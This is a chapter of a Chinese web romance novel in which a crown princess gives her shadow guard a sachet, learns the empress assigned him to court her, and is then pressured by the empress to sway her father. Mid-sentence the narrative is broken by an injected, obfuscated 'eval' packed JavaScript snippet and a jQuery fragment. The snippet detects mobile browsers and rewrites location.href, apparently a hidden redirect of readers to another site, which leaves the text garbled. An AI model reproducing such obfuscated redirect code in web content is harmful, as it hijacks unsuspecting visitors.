34. 再送香囊
作品:《太子妃的美强惨暗卫》 一个月的时间很快过去了,姜黎手里绣好的香囊却一直没能送出。
不是对成品不满意,她知道无论自己绣成什么样子他都不会嫌弃,只是……她不知自己是否要继续维持这样的态度对他。
明知会是无疾而终的感情,却还放任自己任性撩拨,对他对自己都是不负责任的行为。
可……明明已经答应他了的……
姜黎将那精致丝线的香囊紧握在手里,最终还是鼓起勇气,找到一处后院的假山旁呼唤了他的名字。
“影玖。”
“在。”
他像是一直隐匿于一旁待命,在得令后迅速显出身形,又仿佛本就一直在期待着太子妃的呼唤,那平稳的脚步里竟显出了一丝急促。
秉持着绣都绣完了的原则,姜黎终究是心下一横,将香囊摊开到他面前道:“这是说好给你绣的……”
本来还想勒令他把之前那个旧的“黑历史”还给自己,可对上他那难掩期待地视线时,姜黎一时也有些说不出口了。
这人高马大的男人,此刻竟像是盯着肉骨头的野狗似的,“嗖”的一下就将姜黎手里的香囊“叼”走了。
面具下那张紧抿着的唇角微微上扬,摊开来仔细端详了上头的那一团金线堆积成的纹样,就这样凝视了很久。
直到姜黎好奇的问了句:“你看出绣得是什么了么?”
影玖:“……”
好吧,他的笑容霎时僵在了原地。
“太子妃绣得什么我都喜欢。”影玖憋了很久,终于憋出了这么一句话。
他觉得这纹样像是一团金疙瘩,应该是太子妃喜欢金子的原因?
与之前的那个比起来说不上哪个更好,但这次这个是太子妃认真绣出来的,他能感觉得到!所以他将香囊虔诚地置于胸口的衣襟前,试图将它染上自己心跳的温度。
而对于他这样的彩虹屁,姜黎也顿觉好笑,终忍不住揭秘道:“是一块姜,之前的是一只梨,‘姜’和‘梨’,姜黎,懂不懂?”
姜黎知道这个笑话有点冷,但自己却还是忍不住“噗哧”笑了出来,而影玖也读懂了这个谐音梗,很是配合的跟着笑了起来。
两人一时相视着傻笑,无声的氛围蔓延开来,但很快却又被微凉的秋风吹散了。
“……”
“外头渐凉了,太子妃是否要去屋里聊?”影玖瞧出了她今日衣着单薄,便忍不住问道。
但如今姜黎的心境却是与一个月前截然不同了,自从那次在屋里跟他“抢夺”香囊的一番对峙后,她便再也没有在屋里主动召唤过他。
原因无它,只因回想起之前的“同床共枕”,就连作为现代人的姜黎也难掩羞怯起来。
倘若是问心无愧还好,但问题是她的确心中有愧,且还做不到坦坦荡荡,所以这一个月来才特意避免了将他引入自己的闺房。
说是自欺欺人也罢,她现下也的确还不知道该用什么态度去对他更好……
“不必了。”姜黎摇摇头,声音闷闷地道:“我就想在外面说说话,透透气。”
“好。”影玖点点头,特意挪动了一下步子,站到靠风的位置替她遮掩。
姜黎望着他的举动,心中有些烦杂,她见识过他的才学与武艺,可以肯定的是,他说自己是“顶尖暗卫”这一点绝非夸大。
可是这样一位厉害的暗卫,为何会默默地呆在自己身边,甘愿每天都做着仆役般的活计呢?
姜黎心生不解,最终还是忍不住问出了声来。
“话说,我一直都有一个问题……”她张望了一下四周,走近到他身边压低声音道:“你既是太子的替身,为何又跑来给我做暗卫啊?”
影玖蓦然一愣,他没想到太子妃会忽然发出这样的疑问,不由有些慌乱,这个事他其实从未细想过说辞,此刻被打得措手不及,想要掩盖,却又顿觉得愧疚,作为暗卫来说,自己对她的一切接近都始于任务,明明都已是目的不纯,如今又怎能继续诓骗呢?
“是因为皇后……”影玖深吸一口气,终究是和盘托出:“她希望我能接近您,讨好您,用以拉拢姜尚书。”
姜黎回想起与他初识的种种,一时心中了然,什么“完美的太子夫君”,什么“亲切的皇后婆婆”,果然都不过是一场镜花水月的假象罢了……
但即便已然很努力的认清了自己的现状,姜黎还是难掩心头失落地垂下头来:“所以……你是为了讨好我,才对我这么好的?”
“不是!”影玖回答得斩钉截铁,可心虚却悄然蔓上心头,逼得他不得不僵硬着身体,硬邦邦地解释:“一开始是,但现在……现在不是。”
这大概也是他唯一能在这个身份上做出的最好回答了,姜黎庆幸他的坦诚与生涩,也明白有些事情论迹不论心,若真要追究也是矫情。
正是因为知晓,所以姜黎也只得深深地叹口气道:“那皇后的如意算盘真是打错了,我算哪根葱,父亲又怎可能为了我去站队太子?”
这说的是大实话。
听闻这门婚事本是太子主动向皇帝求来的赐婚,因姜家千金本就有着“京城第一美”的殊名,所以众人都以为太子是闻美倾心,倒是给皇后的真正目的打了掩护。
而关于太子妃在姜家的难处,影玖在回门的当天也已有所了解,此刻却也只能宽慰着:“当日我在姜家所闻其实并未如实告知皇后,所以您大可不必担忧……”
其实现在回头想来,影玖自己也是略微吃惊,他竟在这么早的时候就对太子妃有了“私心”,在回门姜家时,明明已然敏锐地察觉到了太子妃在姜家的处境,兴许会让皇后的联姻目的如竹篮打水般一场空,但他却并没有将自己的推断如实上报,心中想的是这些不过“无关紧要”的小事。
可事实上呢?又何尝不是本能的想要保护她?
“可这样的谎言又能满多久呢?”姜黎忍不住有些忧心忡忡。
影玖也不由垂下头来,沉默不言,仿佛在明媚的阳光下压下了一层阴影。
是啊……皇后那边又能隐瞒多久呢?
所谓好的不来坏的来,就在姜黎点明担忧后的几日,皇后果然开始主动召她这个太子妃入宫了,明面上是与儿媳叙旧,可事实上,却是想给她下达“命令”。
苏皇后依旧是一如既往的摆着一张和煦的笑脸,先是握住姜黎的手来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226967|194962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一番殷勤的嘘寒问暖,再就是又关心了几句太子的伤势,随后才话锋一转,直点话题。
“三皇子近来可算是扬眉吐气得很,陛下竟替他提前解了禁足,全然忘了太子是被谁害得这般重伤。”苏皇后慢条斯理地拨弄着茶盏,凤眸微抬,语调却是冰凉得很,颇有咬牙切齿的意味。
姜黎听出了她语气的怒意,不由微屏住呼吸,将头埋得低低的不敢插嘴,只等对方继续。
果然,须臾苏皇后又自顾自地解释道:“黎儿大概不知朝堂之事,上个月三皇子母家的舅舅突然战死沙场,陛下怜其忠烈,欲加以追封。这本是好事一桩,奈何……”她话音一顿,指尖在案几上轻轻一点,发出叩的一声轻响,敲在姜黎心口:“有人心思活络,想借着这股东风,裹挟朝议,为三皇子那早逝的生母陈氏请封一个‘妃’位。呵,这明显就是三皇子一党在暗中操控,黎儿,你觉得我们该怎么办呢?”
姜黎不甚被喂了一嘴的朝堂辛秘,霎时也是一愣,但因前世有着众多宫斗文的洗礼,很快便也琢磨出了这么个味儿来。
想追封生母,这不就是为了抬高皇子身价么?
而这皇后婆婆特意找自己这个尚书千金的儿媳来说道这些,可不像是单纯唠嗑而已。
果不其然,苏皇后随即放柔了声音,语重心长着道:“黎儿父亲身为礼部尚书,掌天下礼仪祭享,此事,他若能率先上书,陈明祖制,言明嫡庶尊卑不可僭越,那些想借机生事的小人,自然就掀不起风浪了。”
这番话语瞬间穷图匕见,姜黎不是傻子,自然明白这是要自己去娘家施压父亲站队太子党的意思。
可……她是几斤几两啊,怎可能说得动那古板迂腐的老父亲做出这样的事来?
姜黎对自己很是有自知之明的。
所以,她只能深吸一口气,硬着头皮试图推拒:“母后恕罪,父亲平日里一直不允许家中女流之辈妄议朝堂之上,恐怕……”
不想,苏皇后却再次握住了她的手,冰冷的指套刮擦着她柔嫩的指间,激得她一个战栗。
“黎儿莫要妄自菲薄,你如今不仅是一介女流,更是当朝的太子妃,这是你的荣耀,更是你姜家满门的荣耀。”苏皇后温柔的话语却渐显锋芒,尤似敲打,步步紧逼:“听闻姜尚书平日里最宠爱你,定是能听见你的劝说,储君之位稳固,关乎国本,不可马虎,本宫相信姜尚书知道怎么选择的。”
这一字一句,不怒而威,似乎不是劝说,更像警告。
“好了,本宫今日有些乏累了,你就回去,好好与你父亲分说便是。”
最后一句话,尤似逐客令,却已然显出了一丝不耐烦,不待姜黎便伸手让身边的嬷嬷搀扶,姜黎心头一跳,赶紧起身恭送行礼。
“儿媳……儿媳明白,定会尽力。”
而从坤宁宫出来,姜黎只觉得后背沁出一层薄汗,风一吹,凉意直达心底。
她该怎么办?是阳奉阴违,还是真的硬着头皮去游说父亲?无论哪种选择,似乎都前景堪忧……
姜黎不觉陷入了两难。
直到这一刻,她才终于深刻体会到,所谓“一入宫门深似海”的残酷……

